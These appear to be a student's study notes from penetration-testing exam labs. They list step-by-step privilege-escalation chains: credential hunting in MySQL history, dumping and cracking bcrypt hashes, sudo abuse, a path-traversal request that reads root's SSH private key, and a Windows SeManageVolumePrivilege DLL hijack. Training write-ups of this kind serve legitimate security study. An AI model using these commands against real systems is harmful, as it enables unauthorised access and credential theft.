PrivEsc Vectors

Standalones — Privilege Escalation Vectors

Seen in: Exam B (.112)
OS: Linux (Ubuntu 24.04)
Starting user: clara (low-priv, from SSH key foothold)

Transfer linpeas.sh from Kali: python3 -m http.server 4444 on Kali → wget http://$KALI:4444/linpeas.sh on target
chmod +x linpeas.sh && ./linpeas.sh → automated enumeration
linpeas flags [*] Searching passwords in history files (T1552.001) → highlights /home/clara/.mysql_history with SQL statements containing ALTER USER 'root'@'localhost' IDENTIFIED BY 'Sup3r_S3cure_DB!'

Verify internal MySQL: ss -tnlp → port 3306 listening on 127.0.0.1
mysql -h 127.0.0.1 -P 3306 -u root -p → enter Sup3r_S3cure_DB! → connected as root
SHOW DATABASES; → see crestline, internal_auth; USE internal_auth; SHOW TABLES; → users
SELECT * FROM users; → dumps usernames and bcrypt hashes: admin, jsmith, marcus, kthompson, rwilliams
Save hashes to hashes.txt on Kali
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt → cracks marcus:789456123
ssh marcus@$IP → SSH session as marcus (lateral move)
find / -perm -u=s -type f 2>/dev/null → enumerate SUID binaries
sudo /bin/sh → no password required for sudo; root shell
Retrieve proof.txt from /root/

MySQL history file stored the root password in an ALTER USER statement — a very common finding
su -c /bin/sh failed; sudo /bin/sh succeeded — marcus had NOPASSWD sudo rights, not clara; always check both users
getcap -r / 2>/dev/null also ran but returned nothing useful

Seen in: Exam C (.110)
OS: Linux (Ubuntu 24.04)
Starting user: james (low-priv, from POP3 email foothold)

id → uid=1000(james) gid=1000(james) groups=1000(james),24(cdrom),30(dip),46(plugdev),1001(dev) — member of dev group
find / -group dev 2>/dev/null → finds /opt/nexus/ directory tree

cat /opt/nexus/config.py → reveals LOG_DIR = '/var/log/nexus' and confirms Nexus service runs internally
ls -l /var/log/nexus/ → nexus.log is world-readable (-rw-r--r-- 1 root root)
cat /var/log/nexus/nexus.log → log entries show GET requests to http://localhost:8005/api/v1/artifacts/download with artifact path ../../../../root/.ssh/id_rsa returning HTTP 200
curl http://127.0.0.1:8005/api/v1/artifacts/download?artifact=../../../../root/.ssh/id_rsa → returns full RSA private key content
Save key locally → chmod 600 root_id_rsa
ssh -i root_id_rsa root@$IP → root shell; retrieve proof.txt

The Nexus log being world-readable was the key misconfiguration — it revealed both the endpoint and the exact path traversal payload already in use
dev group was the bridge: /opt/nexus/config.py would not be readable without it
This is a chained misconfiguration: group membership → config read → log read → API path traversal

Seen in: Exam C (.111, Windows — Jenkins box)
OS: Windows
Starting user: low-priv domain user (from Jenkins Groovy script RCE foothold)

whoami /priv → SeManageVolumePrivilege: Enabled
SeManageVolumePrivilege allows setting DACL on volumes — use to write/replace DLLs in privileged directories

Use SeManageVolumePrivilege to write a malicious DLL to a directory in the system PATH loaded by a privileged process
Trigger the DLL load (e.g., by starting/restarting a service or scheduled task) → code executes as SYSTEM
DLL payload spawns SYSTEM shell or grants SeImpersonate capability for further abuse
whoami → nt authority\system; retrieve proof.txt

SeManageVolumePrivilege is less well-known than SeImpersonate/SeAssignPrimaryToken — the DLL hijacking step is the intermediate requirement
Both SeManageVolumePrivilege and SeImpersonate were present in this instance — the former was the entry, the latter the mechanism
Requires enumeration of services with unquoted paths or missing DLLs to find the hijack target